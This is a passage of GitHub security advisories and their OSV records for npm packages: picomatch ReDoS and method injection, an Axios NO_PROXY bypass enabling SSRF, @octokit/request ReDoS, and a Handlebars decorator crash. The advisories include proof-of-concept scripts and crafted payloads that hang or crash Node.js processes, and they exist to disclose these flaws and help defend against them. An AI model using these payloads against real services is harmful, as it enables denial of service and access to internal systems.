Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.
Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- disable extglob support for untrusted patterns by using noextglob: true
- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Resources
- Picomatch repository: https://github.com/micromatch/picomatch
lib/parse.jsandlib/constants.jsare involved in generating the vulnerable regex forms- Comparable ReDoS precedent: CVE-2024-4067 (
micromatch) - Comparable generated-regex precedent: CVE-2024-45296 (
path-to-regexp)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33671"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:12:07Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "HIGH"
},
"details": "### Impact\n`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.\n\nExamples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.\n\nApplications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.\n\n### Patches\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.\n\nPossible mitigations include:\n- disable extglob support for untrusted patterns by using `noextglob: true`\n- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`\n- enforce strict allowlists for accepted pattern syntax\n- run matching in an isolated worker or separate process with time and resource limits\n- apply application-level request throttling and input validation for any endpoint that accepts glob patterns\n\n### Resources\n- Picomatch repository: https://github.com/micromatch/picomatch\n- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms\n- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)\n- Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)",
"id": "GHSA-c2c7-rcm5-vvqj",
"modified": "2026-03-27T21:36:13Z",
"published": "2026-03-25T21:12:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33671"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Picomatch has a ReDoS vulnerability via extglob quantifiers"
}
GHSA-3V7F-55P6-F55P
Vulnerability from github – Published: 2026-03-25 21:13 – Updated: 2026-03-27 21:36Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:
```js const POSIX_REGEX_SOURCE = { proto: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };
Resources
- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatch
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33672"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:13:39Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "MODERATE"
},
"details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n ```js\n const POSIX_REGEX_SOURCE = {\n __proto__: null,\n alnum: \u0027a-zA-Z0-9\u0027,\n alpha: \u0027a-zA-Z\u0027,\n // ... rest unchanged\n };\n \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
"id": "GHSA-3v7f-55p6-f55p",
"modified": "2026-03-27T21:36:24Z",
"published": "2026-03-25T21:13:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}
GHSA-3P68-RC4W-QGX5
Vulnerability from github – Published: 2026-04-09 17:32 – Updated: 2026-04-16 18:44Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[*] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[*] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].
Impact
- Applications that rely on
NO_PROXY=localhost,127.0.0.1,::1for protecting loopback/internal access are vulnerable. -
Attackers controlling request URLs can:
-
Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.
Affected Versions
- Confirmed on Axios 1.12.2 (latest at time of testing).
- affects all versions that rely on Axios’ current
NO_PROXYevaluation.
Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:
- Strip trailing dots from hostnames (per RFC 3986).
- Normalize IPv6 literals by removing brackets for matching.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62718"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T17:32:19Z",
"nvd_published_at": "2026-04-09T15:16:08Z",
"severity": "MODERATE"
},
"details": "Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 \u00a73.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 \u00a73.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n try {\n await axios.get(url, { timeout: 2000 });\n } catch {}\n}\n\nsetTimeout(async () =\u003e {\n console.log(\"\\n[*] Testing http://localhost.:8080/\");\n await test(\"http://localhost.:8080/\"); // goes through proxy\n\n console.log(\"\\n[*] Testing http://[::1]:8080/\");\n await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n * Force Axios to send local traffic through an attacker-controlled proxy.\n * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n * Potentially exfiltrate sensitive responses from internal services via the proxy.\n \n \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios\u2019 current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.",
"id": "GHSA-3p68-rc4w-qgx5",
"modified": "2026-04-16T18:44:31Z",
"published": "2026-04-09T17:32:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10661"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10688"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}
GHSA-RMVR-2PP2-XJ38
Vulnerability from github – Published: 2025-02-14 18:00 – Updated: 2026-01-16 17:29Summary
The regular expression /<([^>]+)>; rel="deprecation"/ used to match the link header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex's matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious link header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.
Details
The vulnerability resides in the regular expression /<([^>]+)>; rel="deprecation"/, which is used to match the link header in HTTP responses. This regular expression captures content between angle brackets (<>) followed by ; rel="deprecation". However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.
An attacker can exploit this vulnerability by sending a specially crafted link header designed to trigger excessive backtracking. For example, the following headers:
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
The crafted link header consists of 100,000 consecutive < characters followed by a closing >. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.
The issue is present in the following code:
const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);
In this scenario, the link header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.
PoC
The gist of PoC.js 1. run npm i @octokit/request 2. run 'node poc.js' result: 3. then the program will stuck forever with high CPU usage
import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
const response = await originalFetch(url, options);
const fakeHeaders = new Headers(response.headers);
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
return new Response(response.body, {
status: response.status,
statusText: response.statusText,
headers: fakeHeaders
});
};
request("GET /repos/octocat/hello-world")
.then(response => {
// console.log("[+] Response received:", response);
})
.catch(error => {
// console.error("[-] Error:", error);
});
// globalThis.fetch = originalFetch;
Impact
This is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious link header that exploits the inefficient backtracking behavior of the regular expression used in the code.
The primary impact is the potential for server resource exhaustion, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.
The vulnerability impacts any system that uses this specific regular expression to process link headers in HTTP responses. This can include:
* Web applications or APIs that rely on parsing headers for deprecation information.
* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.
* Service providers who may face disruption in operations or performance degradation due to this flaw.
If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious link header, making it a low-barrier attack that could be exploited by anyone.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@octokit/request"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-beta.1"
},
{
"fixed": "9.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@octokit/request"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "8.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25290"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-14T18:00:18Z",
"nvd_published_at": "2025-02-14T20:15:35Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/` used to match the `link` header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex\u0027s matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious `link` header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.\n### Details\nThe vulnerability resides in the regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/`, which is used to match the `link` header in HTTP responses. This regular expression captures content between angle brackets (`\u003c\u003e`) followed by `; rel=\"deprecation\"`. However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.\nAn attacker can exploit this vulnerability by sending a specially crafted `link` header designed to trigger excessive backtracking. For example, the following headers:\n```js\nfakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\nfakeHeaders.set(\"deprecation\", \"true\");\n```\nThe crafted `link` header consists of 100,000 consecutive `\u003c` characters followed by a closing `\u003e`. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.\nThe issue is present in the following code:\n```js\nconst matches = responseHeaders.link \u0026\u0026 responseHeaders.link.match(/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/);\n```\nIn this scenario, the `link` header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/2afdabf0fc4cb6cfbd3b1d58b6082f6a)\n1. run npm i @octokit/request\n2. run \u0027node poc.js\u0027\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { request } from \"@octokit/request\";\nconst originalFetch = globalThis.fetch;\nglobalThis.fetch = async (url, options) =\u003e {\n const response = await originalFetch(url, options);\n const fakeHeaders = new Headers(response.headers);\n fakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\n fakeHeaders.set(\"deprecation\", \"true\");\n return new Response(response.body, {\n status: response.status,\n statusText: response.statusText,\n headers: fakeHeaders\n });\n};\nrequest(\"GET /repos/octocat/hello-world\")\n .then(response =\u003e {\n // console.log(\"[+] Response received:\", response);\n })\n .catch(error =\u003e {\n // console.error(\"[-] Error:\", error);\n });\n// globalThis.fetch = originalFetch;\n```\n### Impact\nThis is a *Denial of Service (DoS) vulnerability* caused by a *ReDoS (Regular Expression Denial of Service)* flaw. The vulnerability allows an attacker to craft a malicious `link` header that exploits the inefficient backtracking behavior of the regular expression used in the code.\nThe primary impact is the potential for *server resource exhaustion*, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.\nThe vulnerability impacts any system that uses this specific regular expression to process `link` headers in HTTP responses. This can include:\n* Web applications or APIs that rely on parsing headers for deprecation information.\n* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.\n* Service providers who may face disruption in operations or performance degradation due to this flaw.\nIf left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious `link` header, making it a low-barrier attack that could be exploited by anyone.",
"id": "GHSA-rmvr-2pp2-xj38",
"modified": "2026-01-16T17:29:36Z",
"published": "2025-02-14T18:00:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/security/advisories/GHSA-rmvr-2pp2-xj38"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25290"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/34ff07ee86fc5c20865982d77391bc910ef19c68"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/356411e3217019aa9fc8a68f4236af82490873c2"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/6bb29ba92a52f7bf94469c3433707c682c17126c"
},
{
"type": "PACKAGE",
"url": "https://github.com/octokit/request.js"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/releases/tag/v8.4.1"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/releases/tag/v9.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}
GHSA-9CX6-37PM-9JFF
Vulnerability from github – Published: 2026-03-27 18:21 – Updated: 2026-03-30 20:08Summary
When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{*n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.
Description
In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:
fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;
When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:
TypeError: lookupProperty(...) is not a function
Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.
This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.
Attack scenario: An attacker submits {{*n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.
Proof of Concept
const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x
// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});
Expected crash output:
TypeError: lookupProperty(...) is not a function
at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))
Workarounds
- Wrap compilation and rendering in
try/catch:javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to
compile(). Reject templates containing decorator syntax ({{*...}}) if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call
compile()at request time.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33939"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:21:15Z",
"nvd_published_at": "2026-03-27T22:16:20Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and \u2014 when not caught by the application \u2014 crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile(\u0027{{*n}}\u0027)({});\nHandlebars.compile(\u0027{{*decorator}}\u0027)({});\nHandlebars.compile(\u0027{{*constructor}}\u0027)({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send(\u0027Invalid template\u0027);\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.",
"id": "GHSA-9cx6-37pm-9jff",
"modified": "2026-03-30T20:08:14Z",
"published": "2026-03-27T18:21:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33939"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
